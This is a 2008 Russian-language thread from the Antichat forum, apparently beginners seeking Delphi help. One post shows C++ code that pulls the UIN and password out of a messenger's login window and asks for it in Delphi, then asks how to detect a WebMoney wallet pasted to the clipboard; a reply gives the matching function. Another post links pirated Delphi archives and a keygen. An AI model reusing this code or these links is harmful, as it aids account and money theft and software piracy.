ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

25.04.2008, 01:24
|
|
Познающий
Регистрация: 20.06.2007
Сообщений: 99
Провел на форуме: 1129104
Репутация:
122
|
|
я ещё ничего неумею в delphi но хотелбы научиться вот книги у меня есть для обучения но вот я никак немогу найти программу для того чтобы писать на delphi пожалуста выложите куданить или скажите чем вы пользуетесь и что лучше для начнающего программера,спасибо зарание.
|
|
|

25.04.2008, 01:50
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Кто нибудь может этот код из С++ перегнать на делфи???
Код:
void main()
{
// Объявим переменные, необходимые для работы
HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля
// Найдем окно диалога авторизации
hManForm=FindWindow("TManForm",0);
// Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);
// Список с UIN'ами
hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
// Получим длину текста в списке
iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
// Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);
// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
// Дальше все по аналогии с UIN'ом
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
pPass=(char*)LocalAlloc(0, iPass);
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);
//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;
// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}
И ещё, если не сложно подскажите как отследить на делфи, если в буфер обмена только что вставили WM кошелёк??? То есть первая буква Z, а дальше 12 цифр.
|
|
|

25.04.2008, 02:16
|
|
Banned
Регистрация: 13.09.2006
Сообщений: 523
Провел на форуме: 2869410
Репутация:
925
|
|
И ещё, если не сложно подскажите как отследить на делфи, если в буфер обмена только что вставили WM кошелёк??? То есть первая буква Z, а дальше 12 цифр.
//возвратит true если в строке WMZ находиться кошелек,false в обратном случае.
Код:
function IsShekel(s:string):boolean;
var i :byte;
begin
result:=false;
if Length(s)<> 13 then exit; //åñëè ñòðîêà íåðàâíà 13 //ñèìâîëàì "Z123456789000" òîãäà ýòî íå êîøåëåê.
if UpperCase(Copy(s,1,1))<>'Z' then exit;
for i:=2 to 13 do
begin
if not (s[i] in ['0'..'9']) then exit;
end;
result:=true;
end;
Последний раз редактировалось De-visible; 27.04.2008 в 12:00..
Причина: теги [code]
|
|
|

25.04.2008, 09:31
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
Сообщение от m9chik
я ещё ничего неумею в delphi но хотелбы научиться вот книги у меня есть для обучения но вот я никак немогу найти программу для того чтобы писать на delphi пожалуста выложите куданить или скажите чем вы пользуетесь и что лучше для начнающего программера,спасибо зарание.
ЛОЛ.
Тебе нужен сам DELPHI. Не раз обсуждалось!
Ну раз новичок то вот:
_http://www.softportal.com/software-2506-delphi-world-pro.html
_https://forum.antichat.ru/thread39750.html
Последний раз редактировалось De-visible; 25.04.2008 в 09:35..
|
|
|

25.04.2008, 14:05
|
|
Участник форума
Регистрация: 26.02.2006
Сообщений: 209
Провел на форуме: 2418438
Репутация:
93
|
|
нужно из 100 чисел рандомом выбрать 25!! Но сделать ето так что бы среди 25 чисел не было повторяющихся!! как реализовать проверку, подскажите плз!
|
|
|

25.04.2008, 14:12
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Делай, к примеру, два массива размером 100 и 25 попугаев. Получаешь рандомно индекс из первого массива, берешь число, проверяешь его на наличие во втором массиве. Если числа там нет, помещаешь, если же есть - идешь дальше
|
|
|

25.04.2008, 14:47
|
|
Познающий
Регистрация: 22.02.2008
Сообщений: 62
Провел на форуме: 211076
Репутация:
52
|
|
m9chik
Как это не странно, но тебе надо скачать программу delphi, например отсюда:
http://rapidshare.com/files/14013555/Delphi7-Cky4k.part1.rar
http://rapidshare.com/files/14015291/Delphi7-Cky4k.part2.rar
Кейген на Делфи 7 тут:
http://ifolder.ru/3615544
Других вариантов просто нет, если только другие версии.
http://www.delphilab.ru/content/view/87/75/- всевозможные версии, а вообще можешь поискать сам программа называется Borland Delphi
Последний раз редактировалось Myst; 25.04.2008 в 14:51..
|
|
|

25.04.2008, 15:18
|
|
Познающий
Регистрация: 22.02.2008
Сообщений: 62
Провел на форуме: 211076
Репутация:
52
|
|
Код:
Randomize;
For i:=0 to 24 do
Begin
X:=random(99-i);
B[i]:=a[x];
A[x]:=a[99-i];
End;
Где а - массив со 100 числами, b - 25 которые нужно получить, i,x - целые числа.
Последний раз редактировалось De-visible; 27.04.2008 в 11:59..
Причина: теги [code] забыл...
|
|
|

26.04.2008, 17:01
|
|
Участник форума
Регистрация: 25.05.2007
Сообщений: 290
Провел на форуме: 1740746
Репутация:
435
|
|
Delphi
PHP код:
Язык: "Delphi"
Версия: "7"
/*
Как сделать так чтобы по нажатию 'Button' программа автоматически определяла
путь до самой себя и присваивала его 'Label1.Caption'.
*/
|
|
|

26.04.2008, 17:04
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме: 3008839
Репутация:
1502
|
|
Label1.Caption := Application.ExeName;
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|